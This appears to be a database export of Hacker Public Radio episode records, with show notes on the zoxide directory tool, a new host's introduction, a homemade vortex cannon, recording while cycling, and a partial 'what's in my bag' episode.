(3836,'2023-04-17','Using \'zoxide\', an alternative to \'cd\'',715,'Dave has been using \'zoxide\' for a little while and really likes it','<article>\n<style>\nhr.thin {\n border: 0;\n height: 0;\n border-top: 1px solid rgba(0, 0, 0, 0.1);\n border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n<h2 id=\"overview\">Overview</h2>\n<p>I like the idea that there are tools available to enhance the\n<code>\'cd\'</code> command, remembering places you have been in the file\nsystem and taking you there easily.</p>\n<p>I use <a\nhref=\"https://hackerpublicradio.org/eps.php?id=1843\"><code>\'pushd\'</code>\nand <code>\'popd\'</code></a> for moving in and out of directories from a\nplace I want to do most of my work, but something more powerful than\nthese or <code>cd</code> have always seemed desirable.</p>\n<p>I was using <code>\'autojump\'</code> for a while last year, but didnt\nreally get on with it. This was mainly because there was no way of\nexcluding certain directories which had been visited from its list.</p>\n<p>Recently I heard of <code>\'zoxide\'</code>, which I have been trying\nand really like.</p>\n<hr class=\"thin\">\n<h2 id=\"zoxide\"><code>zoxide</code></h2>\n<h3 id=\"what-is-it\">What is it?</h3>\n<p>From the <a href=\"https://github.com/ajeetdsouza/zoxide\">GitHub\npage</a>:</p>\n<blockquote>\n<p>zoxide is a smarter cd command, inspired by z<a href=\"#fn1\"\nclass=\"footnote-ref\" id=\"fnref1\" role=\"doc-noteref\"><sup>1</sup></a> and\nautojump.</p>\n<p>It remembers which directories you use most frequently, so you can\n“jump” to them in just a few keystrokes. zoxide works on all major\nshells.</p>\n</blockquote>\n<p>In its man page its billed as “A faster way to navigate your\nfilesystem”.</p>\n<p>Its written in <code>Rust</code> so is very fast.</p>\n<h3 id=\"what-does-it-do\">What does it do?</h3>\n<ul>\n<li><p>It offers the functionality of the Linux/Unix <code>\'cd\'</code>\ncommand.</p></li>\n<li><p>It collects the directories you have visited into a database and\ngives them a ranking relating to the number of times they have been\nvisited. It applies aging rules and removes these when the ranking drops\nbelow one. It uses <em>frecency</em> to do this - a combination of\nfrequency and recency. (<a\nhref=\"https://en.wikipedia.org/wiki/Frecency\">See the Wikipedia page\nexplaining this word</a>)</p></li>\n<li><p>It performs algorithmic matching on the directory you specify and\ntakes you to the highest ranking best match.</p></li>\n<li><p>It can resolve conflicts between matching directories or can\nallow selection through an interactive interface.</p></li>\n<li><p>It can interface to <code>fzf</code>, a general-purpose\ncommand-line fuzzy finder.</p></li>\n<li><p>It “knows” where it is (in the Bash shell) by calling a function\nout of the <code>PROMPT_COMMAND</code> variable. This can be used to\nexecute one or more commands before displaying the prompt for a new\ncommand. This is a common way to <em>hook</em> monitoring commands into\na Bash session.</p></li>\n</ul>\n<h3 id=\"where-can-you-get-it\">Where can you get it?</h3>\n<p>I installed it from the Debian Testing repo, but I got\n<code>\'zoxide v0.4.3-unknown\'</code> whereas the latest version is\n0.9.0. Installing from the <a\nhref=\"https://github.com/ajeetdsouza/zoxide\">GitHub page</a> seems the\nbest option if you want the latest version.</p>\n<p>There is an installation script on the GitHub page and its possible\nto download it with <code>curl</code> and pipe it to Bash. Im never\ncomfortable doing this, but thats your choice.</p>\n<p>I also installed <code>fzf</code> from the Debian Testing repo,\nthough Im still learning what this can do, since its very rich in\nfeatures!</p>\n<h3 id=\"how-do-you-set-it-up\">How do you set it up?</h3>\n<p>This process is shell-specific. I run Bash so I have added it to my\n<code>~/.bashrc</code> and the command there is:</p>\n<pre><code>eval &quot;$(zoxide init bash)&quot;</code></pre>\n<p>What this does is generate a number of Bash functions and aliases and\nsome commands which are fed into <code>eval</code> and executed in the\ncurrent context.</p>\n<p>Function <code>z</code> is created which gives a way of invoking\n<code>zoxide</code> in fewer keystrokes, though the full functionality\nof <code>zoxide</code> is not available through this function, use the\nfull <code>zoxide</code> command.</p>\n<p>Function <code>zi</code> lists all of the stored directories courtesy\nof <code>fzf</code>. I havent tested this without <code>fzf</code>, so\nIm not sure what it does if its not available. The scrollable list can\nbe navigated and a directory chosen with the <code>Enter</code> key (or\ndouble mouse click). In the scrollable list, if characters are typed\nthey are used to select directories from the list, so that its simple\nto find a directory whose exact name you have forgotten.</p>\n<h3 id=\"how-to-tune-it\">How to tune it?</h3>\n<p>The <code>zoxide</code> behaviour can be modified through environment\nvariables (and at setup time).</p>\n<p>For example it is possible to define directories which are not to be\nstored using the environment variable <code>_ZO_EXCLUDE_DIRS</code>.\nThis must be done before running <code>zoxide init</code>. In my case, I\nhave the following in my <code>~/.bashrc</code>:</p>\n<pre><code>export _ZO_EXCLUDE_DIRS=&quot;/media/extras:/media/extras/*&quot;\neval &quot;$(zoxide init bash)&quot;</code></pre>\n<p>The setup details are to be found in the GitHub documentation.</p>\n<h2 id=\"conclusion\">Conclusion</h2>\n<p>I really like this. Its fast and configurable, and with\n<code>fzf</code> gives some great command-line features. There are\neditor plugins, such as <code>zoxide.vim</code> for Vim and Neovim (not\nused yet). It also integrates with other third-party tools.</p>\n<p>It seems to be the best of its type!</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>HPR show <a\nhref=\"https://hackerpublicradio.org/eps.php?id=1843\">“hpr1843 :: Some\nBash tips”</a> covers <code>pushd</code>, <code>popd</code> and\n<code>dirs</code>.</li>\n<li><a href=\"https://github.com/ajeetdsouza/zoxide\"><code>zoxide</code>\nGitHub page</a></li>\n<li><a href=\"https://github.com/junegunn/fzf\"><code>fzf</code> GitHub\npage</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Frecency\">Wikipedia page on\nthe word <em>frecency</em></a></li>\n<li><a href=\"https://github.com/rupa/z\">The <code>\'z\'</code> tool on\nGitHub</a></li>\n<li><a href=\"https://github.com/wting/autojump\">The\n<code>\'autojump\'</code> tool on GitHub</a></li>\n</ul>\n<section class=\"footnotes footnotes-end-of-document\"\nrole=\"doc-endnotes\">\n<hr />\n<ol>\n<li id=\"fn1\" role=\"doc-endnote\"><p>I didnt know what <code>\'z\'</code>\nwas when recording the audio. I did some research and found it, and can\nsee how <code>\'zoxide\'</code> has similar behaviour. I have added a link\nin case you want to investigate this yourself.<a href=\"#fnref1\"\nclass=\"footnote-back\" role=\"doc-backlink\">↩︎</a></p></li>\n</ol>\n</section>\n</article>\n',225,11,1,'CC-BY-SA','directory,folder,change directory,cd,zoxide,autojump',0,0,1),
(3866,'2023-05-29','Introducing myself',343,'I discovered HPR at FOSDEM 2023 and want to join the party','<p>Hello, my name is Andr&#xE9; Jaenisch. You can find myself online under\nRyuno-Ki as well.</p>\n<p>This is my first episode on Hacker Public Radio!<br />\nIt is recorded on 8th May 2023 using Audacity.<br />\nIt is published under a Creative Commons Attribution Share-Alike 4.0\nInternational License.</p>\n<p>Today I want to introduce myself.<br />\nI\'m a web developer for ten years now and recently turned into a\nfreelancer.<br />\nMy area of expertise is with Frontend technologies, although I also know\nNode.js and Python. I taught myself these languages because my studies\nin mathematics did not cover them.<br />\nDuring my studies I switched to GNU/Linux. I started with Ubuntu but\ndiscovered that I prefer Rolling Release distributions more. So I jumped\nto Sabayon Linux which was based on Gentoo back then but pre-compiled\nthe binaries while staying compatible. Now they decided to turn into\nanother direction so I was looking for another home. I tried Gecko Linux\nbased on openSUSE for a while until they had bad news in the press. I\'m\ncurrently running Kaisen Linux which is based on Debian Bookworm.</p>\n<p>Speaking of, I love to read. I have whole shelves filled with books\nhere.<br />\nThere is so much to learn from books even in the age of the Internet. I\nenjoy that they have a finite amount of content you can walk\nthrough.</p>\n<p>I learned about Hacker Public Radio at FOSDEM 2023. When I mentioned\nthat I have a RODE NT-USB microphone at home already I was encouraged to\ncontribute to the show. Now I have been listening to the podcast since\nthe beginning of the year and already heard some of the emergency shows.\nI noticed that the hackers on the show are mainly from the United\nStates. I hope you welcome people from other parts of the world as\nwell.</p>\n<p>I\'m from Germany in Europe. A beautiful place to live and I bet as\ndiverse as in the States when it comes to the landscape. We have more\nthan Berlin and Bavaria here!</p>\n<p>I\'m not quite sure what kind of content you would love to hear about.\nI have the requested topics page in front of me and could talk about\ndifferent items. For example, my first smartphone ever was a Firefox OS\n(I still have it. As well as a tablet).<br />\nI switched to Android with F-Droid when Mozilla was cancelling the\nproject. I\'m running on a Fairphone here, which is a small Dutch\nmanufacturer that already managed to move the whole industry into a more\nsustainable direction. Because we produce lots of waste. So I could talk\nabout that.</p>\n<p>Or I could talk about building things for the web. Usually I blog\nabout that because I feel like text feels more natural to it. But then I\nsaw that some episodes contained code snippets in the show notes.</p>\n<p>I could talk about mathematics. We don\'t have enough podcasts about\nmath! My focus was on statistics and numerics so that might be\ninteresting?</p>\n<p>What I would love to hear more about is music theory. You see I\nhaven\'t learned to play an instrument in my life. Mainly because those\nare expensive. My personal taste goes more into heavy metal but I\'m not\nsure whether you would call me a fan. What does make a metalhead anyway?\nBut in order to improve my game development having some sort of music\nand sound effects is important. So I was really enjoying the episode\n3792 on reading music sheets. I lend some books on the library to learn\nmore. These subjects weren\'t covered in depth in my school days!</p>\n<p>Another subject I would like to learn more about is electronics.\nEspecially repairing one\'s computers. Look, I\'m using ThinkPads since\nyears now. I have a X250 (from FOSDEM) in current use. But I also have a\nX200 and a T520 gathering dust here. Mainly because something &#x201E;broke&#x201D;\nwith the hardware and I\'m too afraid to crack them open.<br />\nThen there\'s a HP Pavilion standing under my desk to wait for repair.\nAnd even one of the old machines from the DOS era with an original\nLemmings installed! But I have no idea how to refurbish them into a\nbootable state. Do you have ideas?</p>\n<p>I\'m sharing <a href=\"https://jaenis.ch/\">my homepage</a> as well as\n<a href=\"mailto:andre.jaenisch.wdc@posteo.net\">my e-mail address</a> in\nthe show notes. I would really love to hear back from you.</p>\n<p>I feel like I already touched on different ideas today, but looking\nat the time the recording is rather short. Personally I can tune into\nepisodes up to 30 minutes best, so I will try to respect this threshold\nmyself.</p>\n',419,0,0,'CC-BY-SA','introduction',0,0,1),
(3837,'2023-04-18','Make a vortex cannon',448,'How to make a vortex cannon which can extinguish a candle at about ten feet','<h2>Make a Vortex Cannon.</h2>\n\n<p>This is a device for firing a coherent torus-shaped vortex across a room. If it is made with a degree of care, it will extinguish the flame of a candle from some distance.</p>\n\n<h3>What you will need</h3>\n\n<ol>\n<li>An empty Pringles can. This is the cylindrical foil-lined cardboard tube which originally contained Pringles potato chips.</li>\n<li>A party balloon.</li>\n<li>Some strong parcel tape.</li>\n<li>A hole punch capable of making a clean hole of about two centimetres (three quarters of an inch) in diameter.</li>\n<li>A small drill.</li>\n</ol>\n\n<h3>What to do</h3>\n\n<h4>Step 1:</h4>\n\n<p>Drill a small hole in the metal end-plate of the Pringles can. This hole needs to be large enough to accommodate the threaded portion of the hole punch.</p>\n\n<p>The hole needs to be as close to the exact dead-centre of the plate as you can make it.</p>\n\n<p>Use the hole punch to make as clean as possible a hole as accurately as possible.</p>\n\n<p>Here in the UK it is possible to obtain a hole punch called a Q-Max punch from Maplin, the supplier of electronic and hobby parts.</p>\n\n<p>I am sure they are available from other sources.</p>\n\n<p>It is very important that this hole is:</p>\n\n<ul>\n<li>As close to the centre of the end-plate as is humanly possible</li>\n<li>Has edges which are clean and crisp. Hence the use of a hole punch.</li>\n</ul>\n\n<p>It is these two factors more than any other that will effect the efficiency of the cannon.</p>\n\n<h4>Step 2:</h4>\n\n<p>Cut off the mouth-piece end of the balloon.</p>\n\n<p>Stretch it over the open end of the Pringles can and pull it as tight over the end as you can.</p>\n\n<p>When I say the open end I mean the end from which you removed the lid and chomped on the chips.</p>\n\n<p>Use the parcel tape to wrap the balloon tightly around the circumference of the cylinder, anchoring it in position so that the open end of the can is now like a drum formed by the stretchy membrane of the balloon. Nice and tight.</p>\n\n<p>The cannon is now ready to fire.</p>\n\n<h3>Firing the cannon</h3>\n\n<p>Pinch the centre of the balloon membrane and pull it back as far as you can. This might be easier if you push some kind of (blunt ended) rod into the can from the hole end and push out the membrane until you can pinch it.</p>\n\n<p>Some other stretchy latex device which has a little bulb at the end might be easier to get hold of, but I can\'t think of such an item, can you?</p>\n\n<p>When you let go of the membrane with it stretched out as far as you can go, what happens?</p>\n\n<p>Well, if you made the small circular hole at the metal-plate end of the cylinder nice and clean and central, the cannon fires a coherent vortex of air.</p>\n\n<p>What do I mean by a \'vortex\'?</p>\n\n<p>Imagin a ring doughnut compromised of air shooting out of the end of the tube like a smoke ring out of a Hobbit.</p>\n\n<p>The vortex is spinning. Not like the bullet fired from a rifled barrel, but as if it is constantly trying to turn itself inside-out.</p>\n\n<p>This spinning keeps the torus (this is what the shape of a ring doughnut is called) coherent and intact for several feet.</p>\n\n<p>If you made the hole in the metal plate end of the tube nice and clean, and you stretched the balloon membrane out as far as you possibly can, the cannon is capable of blowing out the flame of a candle at about ten feet (three metres) in the still air in a room.</p>\n\n<p>As soon as it leaves the cannon, the vortex will begin to degrade and fall apart.</p>\n\n<p>A word of warning</p>\n\n<p>This little toy might only be firing a torus of air, but do not be tempted to shoot yourself or the cat in the face at point blank range. It hurts.</p>\n\n<p>Mike</p>\n\n',282,0,0,'CC-BY-SA','vortex cannon, make, torus',0,0,1),
(3838,'2023-04-19','Biking to Work',772,'EMERGENCY SHOW: Jon Kulp records an episode while riding his bicycle to work','<h2 id=\"biking-to-work\">Biking to Work</h2>\n<p>In this episode I record while I\'m riding my bicycle to work, using my new audio adapter to plug my $2 microphone into my phone. To make the recording I used the Hi-Q mp3 recorder app on my Android device. In the end I didn\'t do anything in post-production to adjust the volume or compression of the audio. It turned out pretty well &quot;as is.&quot;</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>SuperWhole 3.5mm 1/8&quot; Earphone Headset + Microphone Adapter to Stereo Audio Male: <a href=\"http://www.amazon.com/gp/product/B0114AB0QW\">on Amazon</a></li>\n<li><a href=\"http://www.hiqrecorder.com/\">HI-Q mp3 Voice Recorder</a></li>\n</ul>\n<h2 id=\"credits\">Credits</h2>\n<p>Music bumpers are from Kimiko Ishizaka\'s <em>The Open Goldberg Variations</em>: <a href=\"http://www.opengoldbergvariations.org/\">http://www.opengoldbergvariations.org</a>, used by permission of their <a href=\"http://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</p>\n',238,0,0,'CC-BY-SA','HighQ MP3, Bike, ZOOM Recorder.',0,0,1),
(3842,'2023-04-25','Whats in my bag series',1923,'In this episode I go through the contents of the bag I take to work.','<h1 id=\"introduction\">Introduction</h1>\n<p>A time stamp is added for each item I mention. The time stamp given\ndoes not include the intro added by HPR so you&#x2019;ll need to add a few more\nseconds to get to the the correct spot in the recording.</p>\n<p>[1:20] - I mention that if you are struggling to think of a topic for\nan HPR show then the HPR site contains a list of requested topics which\nyou can choose from. <a\nhref=\"https://hackerpublicradio.org/requested_topics.php\"\nclass=\"uri\">https://hackerpublicradio.org/requested_topics.php</a></p>\n<p>[1:55] - Picture 01 show the &#x201C;Wenger&#x201D; rucksack (Backpack) I take to\nwork. It was purchased many years ago and is probably no longer\navailable.</p>\n<p><strong>Picture 1</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/01.jpeg\"\nalt=\"Picture 1: &#x201C;Wenger&#x201D; rucksack\" /></p>\n<h1 id=\"first-front-zip-section\">First front zip section</h1>\n<p>[3:20] - I mention that I suffered for many years with Hay fever and\nhave had great success with Mixed Pollen 30C tablets which I bought on\nAmazon. Unknown to me at the time these were Homeopathic with miniscule\nconcentration. Despite this they seems to have cured my Hay fever. Refer\nto the links below.</p>\n<p><a\nhref=\"https://en.wikipedia.org/wiki/Homeopathic_dilutions\">Wikipedia\narticle on Homeopathic dilutions</a></p>\n<p><a\nhref=\"https://www.amazon.co.uk/Weleda-Mixed-Pollen-30-Tablets/dp/B002E2HUFK/ref=sr_1_2?crid=34E5ONM7GAB4V&amp;keywords=weleda+mixed+pollen&amp;qid=1673367417&amp;s=drugstore&amp;sprefix=weleda+mixed+pollen%2Cdrugstore%2C81&amp;sr=1-2\">Amazon\nlink to Weleda Mixed Pollen 30C Tablets</a></p>\n<p>[4:20] - Link to some unremarkable Iphone headphones I use which I\nbought from Amazon. Strangely they seem to constantly fall out of my\nleft ear but remain in my right ear.</p>\n<p><a\nhref=\"https://www.amazon.co.uk/gp/product/B08TQPX2CF/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;psc=1\">UGREEN\nHiTune Lightning Headphones MFi Certified In Ear Headphones with\nLightning Plug Wired Earbuds Mic In-Line Control for iPhone Compatible\nwith iPhone</a></p>\n<p>[4:43] - <a\nhref=\"https://www.decathlon.co.uk/p/hand-warmer-x10/_/R-p-161196\">Wedze\nHand warmers, link from Decathlon.</a></p>\n<h1 id=\"first-main-compartment\">First main compartment</h1>\n<p>[5:40] - Picture 02 shows the leather pouch pocket protector that I\nused to carry coins. I no longer have a use for it as I no longer carry\nchange. Despite this for some reason I still continue to carry it back\nand forward to work.</p>\n<p><strong>Picture 2</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/02.jpeg\"\nalt=\"Picture 2: leather pouch pocket protector\" /></p>\n<p>[6:25] - Pictures 03 and 04 show the Essentials fold back clips 19mm\nI use on a daily basis to organise bundles of paperwork.</p>\n<p><strong>Picture 3</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/03.jpeg\"\nalt=\"Picture 3: Essentials clips\" /></p>\n<p><strong>Picture 4</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/04.jpeg\"\nalt=\"Picture 4: Essentials clips\" /></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Bulldog_clip\">Wikipedia link\nto article about Bulldog clips which are not exactly the same item but\nserve the same purpose.</a></p>\n<p>[7:50] - Picture 05 shows the rubber (Eraser) I purchased from the\nNew Lanark Village Store. The proceeds go to the RNLI (Royal National\nLifeboat Institution).</p>\n<p><strong>Picture 5</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/05.jpeg\"\nalt=\"Picture 5: eraser\" /></p>\n<p><a href=\"https://en.wikipedia.org/wiki/New_Lanark\">Wikipedia article\nabout the New Lanark Village</a><br />\n<a\nhref=\"https://www.newlanark.org/your-visit/what-to-see/97-village-store\">Link\nto New Lanark Village Store</a><br />\n<a\nhref=\"https://en.wikipedia.org/wiki/Royal_National_Lifeboat_Institution_lifeboats\">Wikipedia\narticle about the RNLI (Royal National Lifeboat Institution)</a></p>\n<p>[8:50] - I mention a plastic bag clip &#x2013; 08:50. <a\nhref=\"https://www.amazon.co.uk/Bag-Clips-Food-Storage-Assorted/dp/B092R2VN52/ref=sr_1_31?crid=2L2OIOC08Z1E1&amp;keywords=clips&amp;qid=1673792003&amp;sprefix=clips%2Caps%2C127&amp;sr=8-31&amp;th=1\">Link\nto similar plastic bag clip on Amazon</a></p>\n<p>[8:55] - I mention a rubber band. <a\nhref=\"https://en.wikipedia.org/wiki/Rubber_band\">Link to rubber band\narticle on Wikipedia</a></p>\n<p>[9:10] - I mention a silica gel pouch I found in my work bag. Refer\nto picture 06.<br />\n<a href=\"https://en.wikipedia.org/wiki/Silica_gel\">Link to Silica Gel\narticle on Wikipedia.</a></p>\n<p><strong>Picture 6</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/06.jpeg\"\nalt=\"Picture 6: silica gel pouch\" /></p>\n<p>[9:40] - I mention a squishy ear defender. Refer to picture 07 <a\nhref=\"https://en.wikipedia.org/wiki/Earplug\">Link to Wikipedia article\nabout ear plugs</a></p>\n<p><strong>Picture 7</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/07.jpeg\"\nalt=\"Picture 7: ear defenders\" /></p>\n<p>[10:20] - I mention that I carry Ain Stein 0.7 HB Pencil lead in my\nbag. <a\nhref=\"https://www.amazon.co.uk/gp/product/B005I4ESPG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;th=1\">Link\nto Ain Stein 0.7mm HB Pentel pencil leads on Amazon.</a></p>\n<p>[10:50] &#x2013; I mention that I carry a four colour Bic pen. <a\nhref=\"https://www.amazon.co.uk/Colours-Original-Ballpoint-Medium-Point/dp/B0006SVBO0/ref=sr_1_20?crid=1258A0SDJBLLR&amp;keywords=big%2B4%2Bcolour%2Bpens&amp;qid=1673987433&amp;s=officeproduct&amp;sprefix=big%2B4%2B%2Coffice-products%2C107&amp;sr=1-20&amp;th=1\">Amazon\nlink to Bic four coloured pen</a></p>\n<p>[11:05] &#x2013; I mention that I carry a Pentel P207 propelling pencil and\nthat this is my favourite writing implement. <a\nhref=\"https://www.amazon.co.uk/Pentel-Automatic-Mechanical-Pencil-0-7/dp/B004PTORHO/ref=sr_1_6?crid=2RYTD7NQLVCWJ&amp;keywords=pentel%2Bp207&amp;qid=1673987646&amp;s=officeproduct&amp;sprefix=Pentel%2Bp%2Coffice-products%2C108&amp;sr=1-6&amp;th=1\">Amazon\nlink to Pentel P207 propelling pencil, they also offer other models with\ndifferent thicknesses of lead.</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Pentel\">Wikipedia article\nabout the Pentel company</a></p>\n<p>[13:20] &#x2013; I mention that I carry black and white Eding 780 paint\nmarker pens. <a\nhref=\"https://www.amazon.co.uk/Edding-Fine-Bullet-Paintmarker-Pack/dp/B0031QPNWU/ref=sr_1_6_mod_primary_new?crid=ECWAF6FOD8AA&amp;keywords=edding+780&amp;qid=1673987961&amp;s=officeproduct&amp;sbo=RZvfv%2F%2FHxDF%2BO5021pAnSA%3D%3D&amp;sprefix=eding+%2Coffice-products%2C103&amp;sr=1-6\">Amazon\nlink to Eding 780 paint marker pens.</a></p>\n<p>[13:50] &#x2013; I mention that I carry a Southord C801 Lock picking set\nwhich I was given as a birthday present one year. <a\nhref=\"https://www.amazon.co.uk/C801-SouthOrd-Piece-Lock-Pick/dp/B000NW4EL6/ref=sr_1_5?keywords=southord+c801&amp;qid=1673988097&amp;sr=8-5\">Amazon\nlink to Southord C801 Lock picking set</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Lock_picking\">Wikipedia\narticle about lock picking</a></p>\n<p>[15:35] - I mention that it is generally very easy to pick a\ncombination lock. <a\nhref=\"https://www.youtube.com/watch?v=ABKsUNitXqw\">Link to YouTube video\nexplaining how to pick a combination lock</a></p>\n<p>[16:45] I mention I had some documentation bout the Python function\nurllib.request. I was using this function to scrape text from the HPR\nsite. <a href=\"https://hackerpublicradio.org/eps.php?id=2340\">I cover\nhow I used it in my previous HPR episode HPR 2340.</a> <a\nhref=\"https://docs.python.org/3/library/urllib.request.html\">Link to\nPython documentation about urllib.request</a></p>\n<p>[17:10] I mention that I have some red coloured spot stickers that I\nhave many uses for one of which is to make it easy to see at a glance if\nthe switch that operates an outside light is turned on as without this\nit is not possible without stepping outside to check. Refer to picture\n08.</p>\n<p><strong>Picture 8</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/08.jpeg\"\nalt=\"Picture 8: red coloured spot stickers\" /></p>\n<h1 id=\"second-main-compartment\">Second main compartment</h1>\n<p>[18:20] I have a Morgan foldable brolly which I occasionally use when\ncaught in the rain. Refer to picture 09</p>\n<p><strong>Picture 9</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/09.jpeg\"\nalt=\"Picture 9: foldable umbrella\" /></p>\n<p>[18:30] I have a pair of foldable military ear defenders. I picked\nthem up while I was at an air show I think at Ingliston many years ago.\nRefer to pictures 10 and 11</p>\n<p><strong>Picture 10</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/10.jpeg\"\nalt=\"Picture 10: ear defenders\" /></p>\n<p><strong>Picture 11</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/11.jpeg\"\nalt=\"Picture 11: ear defenders\" /></p>\n<h1 id=\"third-compartment-containing-a-pile-of-keech\">Third compartment\ncontaining a pile of keech</h1>\n<p>[19:30] I mention the Scottish word Keech. <a\nhref=\"https://stooryduster.co.uk/scottish-word/keech/\">Definition of the\nScottish word Keech.</a></p>\n<p>[20:25] I found an old Unite Magazine from 2019 in my bag. <a\nhref=\"https://en.wikipedia.org/wiki/Unite_the_Union\">A Wikipedia article\nabout the Unite Union</a></p>\n<p>[20:30] I mention I found on old article from 2006 about the\npossibility of a bird flu epidemic and how to protect yourself should it\nhappen.</p>\n<p><a\nhref=\"https://en.wikipedia.org/wiki/Influenza_A_virus_subtype_H5N1\">Wikipedia\narticle about Avian influenza H5N1 commonly known as bird flu</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/New_Scientist\">Wikipedia\narticle about the magazine New Scientist</a></p>\n<p>[22:15] I mention that found a letter from my company with a\ndesignated worker heading. If required this letter was to allow me to\ndrive to work at the height of the COVID-19 pandemic. I do remember\nhaving to do this at least once and that the roads were deserted like\nsome post apocalyptic scene from a movie. Despite this I never needed to\nshow the letter to anyone.</p>\n<p>[22:55] I talk about a sketch I made a number of years ago for a\ntimber post. I was told this was needed in order to place a charging\npoint midway up my driveway. This was needed for an electric car I was\nthinking of buying. I ended up abandoning the idea as it all got too\ncomplicated. I believe things have since improved and I now wish I&#x2019;d\nbought the car is it actually went up in value!</p>\n<p>[24:00] I briefly mention a piece of paper entitled disk tidy that\ncontained various Linux commands. I think this was a number of Ideas I\nwanted to try out to tease out which directories were taking up the most\nspace on a hard drive I had. These days I either use the du command or\nsometimes ncurses command ncdu.</p>\n<p>[24:30] I talk about a pile of old documents I came across that may\nhave copyright issues so I won&#x2019;t include them in the show notes. However\nI&#x2019;ll include the following related links</p>\n<p>[24:40] The first document I found was from the from many years ago\nwith a foot note saying it was from the UN Population Division UNDE SA\nOxfam World Centre WWF giving various stats about global population,\nresource usage and carbon emissions <a\nhref=\"https://www.un.org/development/desa/pd/\">Link to UN Population\nDivision</a></p>\n<p><a\nhref=\"https://www.un.org/youthenvoy/2013/09/undesa-youth-focal-point/\">Link\nto UN DESA (Department of Economic and Social Affairs)</a></p>\n<p><a href=\"Oxfam%20https://en.wikipedia.org/wiki/Oxfam\">Wikipedia\narticle about</a></p>\n<p>[26:00] I came across an old illustration from the BBC I think from\naround 2012 which had two graphs from the UK showing the vast number of\nstaff working in the DWP (Department of Work and Pensions) to recover a\npotential small amount of fraud in the UK benefits system and comparing\nthis to the tiny number of staff they had working in the UK\'s HMRC (HM\nRevenue and Customs) that could have recovered a potentially vast amount\nof tax evasion fraud. <a\nhref=\"https://en.wikipedia.org/wiki/BBC\">Wikipedia article about the BBC\n- British Broadcasting corporation</a></p>\n<p><a\nhref=\"https://en.wikipedia.org/wiki/Department_for_Work_and_Pensions\">Wikipedia\narticle about the DWP - Department for Work and Pensions</a></p>\n<p><a\nhref=\"https://en.wikipedia.org/wiki/HM_Revenue_and_Customs\">Wikipedia\narticle about the HMRC - HM Revenue and Customs</a></p>\n<p>[27:45] I briefly mention a paper I found that mentioned peak oil. I\nfeel this is now less of a problem as there is more than enough left in\nthe ground to fry humanity. <a\nhref=\"https://en.wikipedia.org/wiki/Peak_oil\">Link to Wikipedia article\nabout peak oil.</a></p>\n<p>[27:45] I mention a Breadboard layout I found which I created to use\nwith a Digital IO add on board on one of my raspberry pi&#x2019;s. <a\nhref=\"https://archive.org/details/hpr2901?webamp=default\">Refer to my\nprevious HPR show 2901</a> <a\nhref=\"https://en.wikipedia.org/wiki/Breadboard\">Wikipedia article about\nBreadboards</a></p>\n<h1 id=\"last-compartment-of-bag-main-area\">Last compartment of bag &#x2013;\nmain area</h1>\n<p>[28:50] I mention that I carry a bottle of water to work. The bottle\nis a stainless steel water bottle that is double walled vacuum\ninsulated. It can hold &#x200E;500 Millilitres of liquid. It claims to be able\nto keep liquids cool for 24 Hours. I\'ve been very impressed with it as\nit seems to be able to keep the water cool for the whole day I am at\nwork. <a\nhref=\"https://www.amazon.co.uk/SHO-Bottle-Ultimate-Insulated-Stainless/dp/B07HVXJ16Y/ref=sr_1_1_sspa?crid=32TUHWPAC52JX&amp;keywords=water%2Bbottles%2Bsho&amp;qid=1681055737&amp;sprefix=water%2Bbottles%2BSHO%2Caps%2C106&amp;sr=8-1-spons&amp;sp_csd=d2lkZ2V0TmFtZT1zcF9hdGY&amp;th=1&amp;psc=1\">Amazon\nlink to water bottle</a></p>\n<p>[29:00] I mention that I carry a roll of masking tape. This comes in\nhandy for all sorts of situations. Often to create ad-hoc labels for <a\nhref=\"https://en.wikipedia.org/wiki/Masking_tape\">things. Wikipedia\narticle about masking tape</a></p>\n<p>[29:05] I mention that the skin on my hands can get very dry\nespecially when I&#x2019;m at the office due to it having low humidity. I use\nNutrogena hand cream to combat this. <a\nhref=\"https://www.amazon.co.uk/Neutrogena-Norwegian-Formula-Unscented-Cream/dp/B0006SQ9CE/ref=sr_1_1_sspa?crid=1LPK7XUM1RT4S&amp;keywords=neutrogena+hand+cream&amp;qid=1675533812&amp;rdc=1&amp;sprefix=neutrogena+han%2Caps%2C85&amp;sr=8-1-spons&amp;sp_csd=d2lkZ2V0TmFtZT1zcF9hdGY&amp;psc=1\">Amazon\nlink to Nutrogena hand cream</a></p>\n<p>[29:42] I mention that I carry a stapler which comes in handy from\ntime to time. Refer to picture 12. <a\nhref=\"https://en.wikipedia.org/wiki/Stapler\">Wikipedia article about\nstaplers</a></p>\n<p><strong>Picture 12</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/12.jpeg\"\nalt=\"Picture 12: stapler\" /></p>\n<p>[29:50] I mention that I carry magnifying glass as my eyesight is not\nas good as it used to be. <a\nhref=\"https://en.wikipedia.org/wiki/Magnifying_glass\">Wikipedia article\nabout magnifying glasses</a></p>\n<p>[29:55] I mention that I also carry a pencil case to work. <a\nhref=\"https://en.wikipedia.org/wiki/Pencil_case\">Wikipedia article about\nthe pencil case</a></p>\n<p>[30:09] I found a Caramel Wacko chocolate bar biscuit in the bag I\ntake to work (Refer to picture 13). These are available from from Aldi.\nAldi is discount food store in the UK. 